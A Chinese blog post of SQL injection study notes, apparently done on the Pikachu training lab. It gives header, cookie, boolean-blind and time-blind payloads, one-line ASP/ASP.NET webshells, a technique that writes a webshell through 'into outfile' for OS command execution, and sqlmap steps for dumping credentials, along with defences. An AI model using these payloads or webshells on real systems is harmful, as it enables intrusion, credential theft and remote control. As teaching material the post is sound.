博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
sql注入学习笔记(二)
阅读量:2061 次
发布时间:2019-04-29

本文共 2728 字,大约阅读时间需要 9 分钟。

HTTP header注入

有些时候,后台开发人员为了验证客户端头信息(比如常用的 cookie验证)

或者通过httpheader头信息获取客户端的一些信息,比如useragent,accept字段等等。会对客户端的httpheader信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于httpheader的SQLInject漏洞。

使用burpsuite抓取前后段交互的HTTP请求,修改头信息

修改user agent
修改cookies

test payload

基于HTTPHeaderCookie: ant[uname]=admin' and updatexml (1, concat(0x7e, database ()),0)#firefox or updatexml(1,concat(0x7e, database ()),0) or

盲注

什么是盲注

在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错

此时无法在根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注“
根据表现形式的不同,盲注又分为 based boolean和 based timei两种类型

基于boolean的盲注测试

基于 boolean的盲注主要表现症状

0.没有报错信息
1.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
2.在正确的输入下,输入and1=1/and1=2发现可以判断

test payload

kobe' and len(database())=7##如果前端返回结果,说明database()字符串的长度为7,不返回信息的话,说明不是7,可以用二分法试探kobe' and ascii(substr(database()), 1, 1))=112##如果前端返回结果,说明database()第一个字母的ascii码为112,不返回信息的话,说明不是,可以用二分法试探

通常编写脚本或者使用sqlmap进行盲注测试

基于time的盲注测试

如果说基于 boolean的盲注在页面上还可以看到0 or 1的回显的话

那么基于time的盲注完全就啥都看不到了
但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入
常用的 Test Payload
kobe and sleep(5)
看看输入:kobe'和输入kobe' and sleep(5)#的区别,从而判断这里存在 based time的sqL注入漏洞
利用Firefox的开发者工具中的network可以查看响应时间,如果当前页面在5秒后返回,说明执行了sleep(5),存在基于时间的盲注漏洞

基于时间的延迟kobe' and if((substr(database(),1, 1))='p', sleep(5), null)##若页面在5秒后返回,说明database()的第一个字母为p,否则不是

利用sql注入漏洞进行远程控制

一句话木马

一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大。

PHP: 
ASP: <%eval request("chopper")%>ASP.NET: <% Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe"); %>

如何通过into outfile写入恶意代码并控制os

select 1, 2 into outfile "/var/www/html/1.txt"

into outfile将 select的结果写入到指定目录的1txt中

在一些没有回显的注入中可以使用 into outfile将结果写入到指定文件,然后访问获取
前提条件

1.需要知道远程目录

2.需要远程目录有写权限
3.需要数据库开启了 secure_ file_ priv

查看secure_file_priv配置

需要在mysql的配置文件/etc/my.cnf中增加secure_file_priv为空

获取操作系统权限

kobe' union select " 
",2 into outfile "/var/www/html/1.php"#

使用方法 http://[target_ip]:[target_port]/1.php?test=[php命令],如

kobe' union select " 
",2 into outfile "/var/www/html/2.php"#

使用方法 http://[target_ip]:[target_port]/2.php?cmd=[系统命令],如

一句话木马可以结合菜刀或者蚁剑等工具来使用,达到远控的目的

可参考

表名或列表的暴力破解

当information_schema不能访问时

暴力破解表名和列名称:
kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#
可以使用burpsuite的intruder模块加载字典进行爆破

SQL Inject注入漏洞的防范

代码层面

1.对输入进行严格的转义和过滤

转义加过滤

2.使用预处理和参数化( Parameterized)

可以避免用户的输入直接拼接成sql语句

使用PDO
可参考

网路层面

1.通过wAF设备启用防sql注入策略(或类似防护系统)

部署位置

2.云端防护(360网站卫士,阿里云盾等)

对于在云端部署的服务器可以采用厂商提供的防护产品

云防护

sqlmap的使用

sqlmap是一个强大的自动化sql注入工具,可以替代手工完成许多任务

在sqlmap的官网()下载
sqlmap的经典用法

第一步u"xx" -cookie="yy"//带上 cookie对URL进行注入探测第二步u"xx" -cookie="yy" -current-db//对数据库名进行获取第三步u"xx" -cookie="yy" -D pikachu --tables//对数据库的表名进行枚举第四步u"xx" -cookie="yy" -D pikachu -T users -columns//对dvwa库里面的名为 users表的列名进行枚举第五步u"xx" -cookie="yy" -D pikachu -T users -C username,password --dump//提取pikachu.users中的指定的字段

可参考

转载地址:http://jeqlf.baihongyu.com/

你可能感兴趣的文章
Centos7 or Other Linux RPM包查询下载
查看>>
运行springboot项目出现:Type javax.xml.bind.JAXBContext not present
查看>>
Java中多线程向mysql插入同一条数据冲突问题
查看>>
Idea Maven项目使用jar包,添加到本地库使用
查看>>
FastDFS集群架构配置搭建(转载)
查看>>
HTM+CSS实现立方体图片旋转展示效果
查看>>
FFmpeg 命令操作音视频
查看>>
问题:Opencv(3.1.0/3.4)找不到 /opencv2/gpu/gpu.hpp 问题
查看>>
目的:使用CUDA环境变量CUDA_VISIBLE_DEVICES来限定CUDA程序所能使用的GPU设备
查看>>
问题:Mysql中字段类型为text的值, java使用selectByExample查询为null
查看>>
程序员--学习之路--技巧
查看>>
解决问题之 MySQL慢查询日志设置
查看>>
contOS6 部署 lnmp、FTP、composer、ThinkPHP5、docker详细步骤
查看>>
TP5.1模板布局中遇到的坑,配置完不生效解决办法
查看>>
PHPstudy中遇到的坑No input file specified,以及传到linux环境下遇到的坑,模板文件不存在
查看>>
TP5.1事务操作和TP5事务回滚操作多表
查看>>
composer install或composer update 或 composer require phpoffice/phpexcel 失败解决办法
查看>>
TP5.1项目从windows的Apache服务迁移到linux的Nginx服务需要注意几点。
查看>>
win10安装软件 打开时报错 找不到 msvcp120.dll
查看>>
PHPunit+Xdebug代码覆盖率以及遇到的问题汇总
查看>>